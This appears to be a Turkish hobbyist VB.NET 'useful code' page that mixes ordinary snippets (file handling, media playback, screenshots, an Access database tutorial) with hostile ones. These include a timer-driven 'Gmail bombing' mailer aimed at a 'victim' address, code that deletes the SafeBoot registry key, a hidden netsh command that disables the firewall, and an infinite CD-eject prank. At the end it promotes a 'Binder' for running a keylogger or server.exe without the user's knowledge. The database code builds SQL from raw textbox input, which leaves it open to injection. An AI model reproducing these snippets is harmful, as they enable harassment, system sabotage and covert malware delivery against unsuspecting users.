Vb.Net Yararlı Kodlar

*** Web sitesi açma ***

Kod:

Process.Start("www.spinsoftware.blogspot.com")
Process.Start("www.spinsoftware.blogspot.com")

*** Birşeyler açma örnek notepad ***

Kod:

Shell("Notepad")
Shell("Calculator")

File dan bir dosya silmek 

Kod:

Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

*** Bir dosyayı yeniden adlandırmak ***

Kod:

My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")

*** Registery anahtarı silmek ***

Kod:

My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

*** registery Anahtarı yüklemek ***

Kod:

Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

*** Metin konuşturmak için ***

Kod:

Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

*** Gmail bombalama ***
*** Timer ekle,5 text boxs,1 button ***
textbox1=Gmail Kullanıcı adı örnek mesela (iLLeqaLKinq)
textbox2 = Gmail Şifre örnek meselaa (213445)
textbox3 = Kurban E-posta Adresi örnek ( asd@hotmail.com)
textbox4 = Konu örnek ( s.a)
textbox5 = Mesaj örnek ( mrb)
button1.text = Sayın iLLeqaLKinq gönderildi !
"Public Class Form1" Top Of ekleyin

*** Button 1 içine yazılcak code ***

Kod:

timer1.start

*** Timer içine yazılcak code ***

Kod:

Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email başarı ile gönderilmiştir )"

*** Müzik ekleme *** 
Not : Müzik türü wawe olmalıdır.
*** Button1 eklencekler ***

Kod:

My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)

*** Button2 eklencekler ***

Kod:

My.Computer.Audio.Stop()

*** Klasor içinde dosyaların sayımı ***

Kod:

Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

*** Case örneği *** 
Eklencekler :
*** 1 Button ***
*** 1 Textbox ***

Kod:

extBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

*** Giriş örneği *** 
1 button ekle

Kod:

If TextBox1.Text = "iLLeqaLKinq" _
And TextBox2.Text = "iLLeqaLKinq" Then
MsgBox("Welcome")
Else
MsgBox("HoSGeLDiNiZ xD ?")
End If

*** Ekran görüntüsü yakalama ***
Büyük bir picturebox ekleyin
button1 = "Shoot"
Button2 = "Save"
bu şekilde olacak
ve Textbox1
Textbox2 ekleyiniz.

*** Button1 içine ***:

Kod:

Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

*** Button2 içine ***:

Kod:

Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved :D", MsgBoxStyle.Exclamation, "Oldu xD")

*** Cd-rom şakası yapımı *** 

Kod:

Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop

***Firewall Kapama*** : 

Kod:

Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()

***Kapatma müdürü***:
Pc kapama :

Kod:

Shell("Shutdown -s")

Pc resetleme :

Kod:

Shell("Shutdown -r")

Log off :

Kod:

Shell("Shutdown -l")

Vb.Net İle Cpu'nun Grafiğini Almak

Private m_PerformanceCounter As New _
    System.Diagnostics.PerformanceCounter( _
        "Processor", "% Processor Time", "_Total")
 
Private Sub btnClear_Click(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) Handles btnClear.Click
    lstCpu.Items.Clear()
End Sub
 
Private Sub tmrCheckCpu_Tick(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) Handles tmrCheckCpu.Tick
    lstCpu.Items.Add(CInt(m_PerformanceCounter.NextValue()) _
        & "%")
    lstCpu.SelectedIndex = lstCpu.Items.Count - 1
End Sub

˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜Yada˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜
SystemMonıtorControl ocx'i kullanarak kod yazmadan kolayca yapılabilir.
OCX'i İndir http://yadi.sk/d/PZgXchs-9nIh
rar şifresi sanalkurs

AVI,WAV Dosyaları Çaldırma

Arkadaşlar bu yazımda sizlere avi dosyalarını nasıl izleyebileceğimizi anlatacağım.Tabii bu işlemin visual basic de yapılışını anlatacağım.

Avi Dosyalarının Açılması


İlk olarak formumuza Frame nesnesi ve bir tane textbox ekliyoruz.Daha sonra da aşağıdaki kodları Formumuza yazıyoruz.
Private Sub Form_Load()
MMControl1.DeviceType = "AVIVideo"
MMControl1.Filename = "c:deneme.avi"
MMControl1.Command = "Open"
MMControl1.hWndDisplay = Frame1.hWnd
Text1.Text = MMControl1.Length
End Sub

Videonun gösterileceği alan hWndDisplay özelliği ile seçilmektedir.Video dosyalarını Frame nesnesi sınırları içinde görüntülediğiniz gibi PictureBox nesnesi içinde veya formun üzerinde de görüntüleyebilirsiniz.Ayrıca filmin uzunluğu Textbox da görülecektir.




Wav Dosyasının Çalınması
Wav Dosyasının Çalınması
1.Öncelikle formumuza MultiMedia nesnesi ekliyoruz.Ve MultiMedia nesnesinin Visible özelliğini False yapıyoruz.(çalışma anında görünmesini engellemek için)
2.Formumuza bir tane Commandbutton ekliyoruz.
3.CommandButton un click olayına aşağıdaki kodları yazıyoruz.

Private Sub CommandButton1_Click()
MMControl1.DeviceType = "WaveAudio"
MMControl1.Filename = "c:deneme.wav"
MMControl1.Command = "Open"
MMControl1.Command = "Play"
End Sub

4.Daha sonra Bir commandbutton daha ekliyoruz ve aşağıdaki kodları commandbutton un click olayına yazıyoruz.

Private Sub CommandButton2_Click()
MMControl1.Command = "close"
CommandButton2.Enabled = True
CommandButton1.Enabled = False
End Sub

Textboxdaki İçeriği Kaydetmek

Imports System
Imports System.IO
Imports System.Text
Public Class Form1
Public Sub Kaydet()
SaveFileDialog1.Filter = “Metin Dosyaları (*.txt)|*.txt|”
SaveFileDialog1.Title = “Metin Kaydet”
SaveFileDialog1.ShowDialog()
Dim path As String = SaveFileDialog1.FileName
If File.Exists(path) = False Then
Dim createText As String = TextBox1.Text
File.WriteAllText(path, createText)
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Kaydet()
End Sub

VB.NET'te veritabanına bağlanma kodları(Ekle, Sil, Düzelt)

Veritabanın ismi 'VERITABANI' olarak ayarlayın yapacağımız programda kodlar bunlara göre ayarlı bir tablo oluşturun ve içersine 'ADI','SOYADI','NUMARA' adında 3 adet Sütun ekleyin ve 'ADI' Metin ,'SOYADI' Metin ,'NUMARA' Sayı olarak ayarlayın ve tabloyu kaydedip adını 'VERI" olarak ayarlayın. Veri tabanıyla işimiz bitti.(Veri tabanına birkaç veri ekleyin programda sıkıntı yaşamayın)
************************************************** ************************************************** **
Kod yazmadan önce Veritabanını Proje Klasöründeki Bin/Debug içersine atın siz Release modda çalıştırıyor iseniz Bin/Release Klasörüne atın şimdi. VB.NET açıp
Public Class Form1
yazan kodun üzerine
Imports System.Data.OleDb
komutunu aktaralım aksi takdirde aşağıdaki kodların hiçbiri çalışmayacaktır.

Artık Kod yazmaya başlayalım öncelikle DataGridView nesnesine verileri aktarmakla başlayalım ben ayrı bir yordam oluşturup orada yaptım.(Siz Nesnelerin Eventlarında da yapabilirsiniz.)

Private Sub Listele(ByVal SQL As String)
Dim baglanti As New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0; Data Source='VERITABANI.mdb'")
Dim veriler As New DataTable("veriler")
Dim adapter As New OleDbDataAdapter(SQL, baglanti)
adapter.Fill(veriler)
DataGridView1.DataSource = veriler
End Sub


Buradaki
(ByVal SQL As String)
bizim SQL yazıp DataGridView'de Göstermemize yarayacak ilerdeki komutlarda nasıl kullanacağını göstereceğim.
Dim baglanti As New OleDbConnection


bölümü Bizim Veritabanımızın Türünü ve nerede olduğu içindir.
Provider=Microsoft.Jet.OLEDB.4.0


Access 2003 tanımlayan Kod
Data Source='VERITABANI.mdb'


burasıda veritabanımızın bulunduğu Dizin.
Dim veriler As New DataTable


burası bizim VB.NET içersinde oluşturduğumuz sanal tablodur.

("veriler")Sanal tablonun ismi.
Dim adapter As New OleDbDataAdapter


bizim veritabanının yeri ve SQL komutunu birleştirip sanal tablomuza aktarmamıza yarayacak bölüm.
adapter.Fill(veriler)


burada artık sanal tablomuza aktardığımız bölüm ve artık verilerimizi program içinde kullanabiliriz.

Son olarak da:
DataGridView1.DataSource = veriler


diyerek artık DataGridView nesnemize aktarıyoruz veri tabanından gelen verileri.

Şimdi bir yordam daha yapcaz buda bizi kod yığıntısından kurtaracak:

Private Sub Temizle()
TextBox1.Clear()
TextBox2.Clear()
TextBox3.Clear()
End Sub


Kodlardan anlayacağınız gibi formumuzun üzerindeki nesneleri temizliyor. Neden Ekle, Düzenleme ve Silme işleminden sonra kullanıcıyı yormamak için.

Artık Formumuzu Çalıştırmadan önce yapılması gereken ayarlar var.bunları Form_Load Event'ına yazcağız.

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
DataGridView1.EditMode = DataGridViewEditMode.EditProgrammatically
DataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect
Listele("SELECT * FROM VERI'")
End Sub

DataGridView1.EditMode = DataGridViewEditMode.EditProgrammatically


bu kod satırı bizi DataGridView nesnesinin hücrelerine tıkladığımızda verileri değişrirebilir (veritabanındakileri değil)
Bunu engellemek için.
DataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect


bu kod ise DataGridView nesnesinde hücreleri tek tek seçmek yerine satırı komple seçmek için.

Bu kodları kendiniz isterseniz Properties bölümünden de değiştirebilirsiniz.

'Listele("SELECT * FROM VERI'")' artık hazırladığımız Listele Adındaki Yordamımızı Çalıştırıp ve SQL adındaki değişkenimize SQL aktarıp DataGridView nesnesinde Gösterilmesini Sağladık.Çalıştırdığınızda veritabanındaki veriler gösterilecektir.
Artık Ekle Buttonunu yerleştirelim.

EKLE BUTONU

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim durum As String
durum = MsgBox("Adı = " & TextBox1.Text & vbNewLine & "Soyadı = " & TextBox2.Text & vbNewLine & "Numara = " & TextBox3.Text & vbNewLine & "Yukarıdaki yazdığınız veriler kayıt edilsinmi '", MsgBoxStyle.Question + MsgBoxStyle.YesNoCancel, "Kayıt Uyarı")
If durum = vbYes Then
Dim sql As New String("INSERT INTO VERI (ADI,SOYADI,NUMARA) values ('{0}','{1}',{2})")
sql = String.Format(sql, TextBox1.Text, TextBox2.Text, TextBox3.Text)
Dim baglanti As New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0; Data Source='VERITABANI.mdb'")
Dim komutnesnesi As New OleDb.OleDbCommand(sql, baglanti)
Dim sonuc As Integer
baglanti.Open()
sonuc = komutnesnesi.ExecuteNonQuery()
If sonuc = 1 Then
MsgBox("Yandaki Girdiğiniz Veriler Veri Tabanına Kayıt Olmuştur.", MsgBoxStyle.Exclamation, "Kayıt Uyarı")
End If
Listele("SELECT * FROM VERI'")
baglanti.Close()
Temizle()
Else

End If

End Sub


Burası Biraz uzun o yüzden kısaltarak anlatacağım şimdi buradaki bazı kodların anlatcağım dersle ilgisi yok aslında ama öğrenilmesi gerekir.

'Durum' adında bir değişken tanımladım ve bu değişkene 'Msgbox'nesnesinden geri dönen veri aktardım.Mesaj pencerelerinde dikkat ederseniz sadece 'Tamam' buttonu yoktur.Evet,Hayır ve İptal butonları bulunur.

Visual Basic'te bunun için 'MsgboxStyle' kodu bulunmaktadır.Bu kodun altında Mesaj kutusundaki ikonlar ve buttonların şekilleri vardır yukardaki Kodu incelerseniz 'MsgBoxStyle.Question + MsgBoxStyle.YesNoCancel' mesaj kutusunun ikonu 'Question' yani Soru işareti ikonu '+' diyerek Sitilleri devam edip 'YesNoCancel' butonları ekledim esas işimize yarayacak bölümde burası YesNoCancel buradaki butonlara basıldığında geriye bir değer atar basılan buttona göre bu değerler

Yes butonu için : 'VbYes'
No butonu için : 'VbNo'
Cancel buttonu için : 'VbCancel''dır

buna göre de programa yön verdik 'İf' yapısını kullanarak basılan butonu tespit edip ona göre çalışmaya devam ettim.Bizi ilgilediren Kodlara geçelim

Dim sql As New String("INSERT INTO VERI (ADI,SOYADI,NUMARA) values ('{0}','{1}',{2})")


Burdaki kodda Ekleme yapmak için SQL var ama Farklı bir yolu var SQL'de ''{0}','{1}',{2}' parametre verdik bu parametreler aşağıdaki koda göre çalışır.

sql = String.Format(sql, TextBox1.Text, TextBox2.Text, TextBox3.Text)


Bu kodda parametre sırasıyla çalışır.buna göre SQL deyimimiz çalışacaktır.(parametreler sizin istediğiniz gibi eklenebilir parametrelere karşılık gelecek bir veri olması lazım ekleyeceğiniz parametreye)

Şimdi artık esas ekleme kodlarına gelelim
'baglanti' değişkenimiz gene aynı ama burada adapter nesnesi yok onun yerine 'Dim komutnesnesi As New OleDb.OleDbCommand' Command nesnesi var bu nesne bizim veri tabanında ekleme ve düzenleme gibi değişiklikleri sağlayacak nesnedir.şimdi ekleme işlemine başlamamız için veritabanının içine girmemiz gerekir bunun içinde 'Baglanti.Open()' kodunu kullanıyoruz.

Açtıktan sonra nesnemizi çalıştırıyoruz.' sonuc = komutnesnesi.ExecuteNonQuery()'
'ExecuteNonQuery()' çalıştırmamızı sağlayan kod artık çalıtırdık ama çalıştırma sonucu geriye bir değer atıyor '1' ise veriler veritabanına işlenmiştir '0' ise işlenmemiş anlamındadır.buna göre son olarak onu kontrol edip 'baglanti' nesnesini kapatıp ekleme işlemini bitiriyoruz.'baglanti.Close()'

başta hazırladığımız yordamları burada kullanıyoruz.'Temizle' ve 'Listele' yordamlarını temizleyi çalıştırdığımızda form üzerindeki nesneler boşalıcaktır.'Listeleyi'çalıştırdığımızda ise son eklediğimiz veriyi en altta görüceğiz.

Bundan sonraki kodlar kolay sadece SQL deyimlerini değiştirmemiz yeterli olucak.

Şimdi düzenleme işlemini yapabilmek için önce hangi veriler olduğunu seçmemiz gerekecektir bunu sağlamak için DataGridView Nesnesinin CellClick event'ına kod yazacağız.

Private Sub DataGridView1_CellClick(ByVal sender As Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles DataGridView1.CellClick
TextBox1.Text = DataGridView1.CurrentRow.Cells(0).Value
TextBox2.Text = DataGridView1.CurrentRow.Cells(1).Value
TextBox3.Text = DataGridView1.CurrentRow.Cells(2).Value
End Sub


'DataGridView1.CurrentRow.Cells(0).Value' bu kodun anlamı seçili satırın 0. Hücresinin değeri.

Bunları hazırladığımız formdaki metin kutularına aktardık buna göre düzenleme işlemini yapacağız.

DÜZENLE BUTONU

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim sql As New String("UPDATE VERI SET ADI='{0}',SOYADI='{1}',NUMARA={2} WHERE ADI='{3}' AND SOYADI='{4}' AND NUMARA={5}")
sql = String.Format(sql, TextBox1.Text, TextBox2.Text, TextBox3.Text, DataGridView1.CurrentRow.Cells(0).Value, DataGridView1.CurrentRow.Cells(1).Value, DataGridView1.CurrentRow.Cells(2).Value)
Dim baglanti As New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0; Data Source='VERITABANI.mdb'")
Dim komutnesnesi As New OleDb.OleDbCommand(sql, baglanti)
Dim sonuc As Integer
baglanti.Open()
sonuc = komutnesnesi.ExecuteNonQuery()
If sonuc = 1 Then
MsgBox("Değiştirmiş Olduğunuz Veriler Güncellenmiştir.", MsgBoxStyle.Exclamation, "Kayıt Uyarı")

End If
Listele("SELECT * FROM VERI'")
baglanti.Close()
Temizle()
End Sub


Burada anlatılıcak başka kod yok oyüzden direk olarak Sil butonunun kodlarını yazıcağım.

SİL BUTONU

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim sql As New String("DELETE FROM VERI WHERE ADI='{0}' AND SOYADI='{1}' AND NUMARA={2} ")
sql = String.Format(sql, TextBox1.Text, TextBox2.Text, TextBox3.Text)
Dim baglanti As New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0; Data Source='VERITABANI.mdb'")
Dim komutnesnesi As New OleDb.OleDbCommand(sql, baglanti)
Dim sonuc As Integer
baglanti.Open()
sonuc = komutnesnesi.ExecuteNonQuery()
If sonuc = 1 Then
MsgBox("Listeden Seçmiş Olduğunuz Veri Silinmiştir.", MsgBoxStyle.Exclamation, "Kayıt Uyarı")

End If
Listele("SELECT * FROM VERI'")
baglanti.Close()
Temizle()
End Sub

SpinMiXeR ˜ ByCrazYSpiN

+ Üyelik Adınız: crazyspin51
+ Programın İsmi: SpinMiXeR ˜ ByCrazYSpiN
+ Programın Sürümü: 1.0
+ Kullanılan Programlama Dili:Vb.net
+ Kaynak Kod Adresi: Ben
+ Açıklama:Her Türlü Ses İşlerini Yapabilirsiniz Örneğin: Sesi Kes İle Müzikle Sesi Kesme Equalizer İle Sese Bass Tiz Verme Spectrum Görünümü Sağ Sol Ses Ayarları Ve Bir Çok Özellik
+ İndirme Linki: Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam
+ Program Görüntüsü:

+ Virüs Total :
https://www.virustotal.com/file/dbb2...is/1342244151/

AhnLab-V3 - 20120713
AntiVir - 20120713
Antiy-AVL - 20120712
Avast - 20120713
AVG - 20120713
BitDefender - 20120714
ByteHero - 20120704
CAT-QuickHeal - 20120713
ClamAV - 20120713
Commtouch - 20120714
Comodo - 20120714
DrWeb - 20120714
Emsisoft - 20120714
eSafe - 20120712
F-Prot - 20120713
F-Secure - 20120714
Fortinet - 20120714
GData - 20120714
Ikarus - 20120714
Jiangmin - 20120714
K7AntiVirus - 20120713
Kaspersky - 20120714
McAfee - 20120714
McAfee-GW-Edition - 20120714
Microsoft - 20120714
NOD32 - 20120713
Norman - 20120713
nProtect - 20120713
Panda - 20120713
PCTools - 20120714
Rising - 20120713
Sophos - 20120714
SUPERAntiSpyware - 20120714
Symantec - 20120714
TheHacker - 20120713
TotalDefense - 20120713
TrendMicro - 20120714
TrendMicro-HouseCall - 20120713
VBA32 - 20120712
VIPRE - 20120714
ViRobot - 20120714
VirusBuster - 20120713

Binder ˜ ByCrazYSpiN

+ Üyelik adınız : crazyspin51

+ Programın ismi : Binder ˜ ByCrazYSpiN

+ Programın sürümü : 1.0

+ Kullanılan programlama dili : vb.net

+ Açıklama : Binder 2 Programı Birleştirerek Tek Bir Program Haline Getirir Bu Sayede Bir Programla Beraber Keylogger Veya Server.exe Çalıştırabilirsiniz Hemde Kullanıcı Farkında Olmadan

+ Programın Ekran Görüntüsü : 

+ İndirme Linki : Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam

+ Alternatif Link : Multiupload.co.uk - upload your files to multiple file hosting sites!

Virüs TOTAL : 

https://www.virustotal.com/file/0c81...is/1341820656/

AhnLab-V3 - 20120708

AntiVir - 20120708

Antiy-AVL - 20120709

Avast - 20120709

AVG - 20120708

BitDefender - 20120709

ByteHero - 20120613

CAT-QuickHeal - 20120708

ClamAV - 20120709

Commtouch - 20120709

Comodo - 20120709

DrWeb - 20120709

Emsisoft - 20120709

eSafe - 20120708

F-Prot - 20120709

F-Secure - 20120709

Fortinet - 20120707

GData - 20120709

Ikarus - 20120709

Jiangmin - 20120709

K7AntiVirus - 20120706

Kaspersky - 20120709

McAfee - 20120709

McAfee-GW-Edition - 20120708

Microsoft - 20120709

NOD32 - 20120708

Norman - 20120709

nProtect - 20120709

Panda - 20120708

Rising - 20120709

Sophos - 20120709

SUPERAntiSpyware - 20120708

Symantec - 20120709

TheHacker - 20120708

TotalDefense - 20120707

TrendMicro - 20120709

TrendMicro-HouseCall - 20120708

VBA32 - 20120706

VIPRE - 20120709

ViRobot - 20120709

VirusBuster - 20120708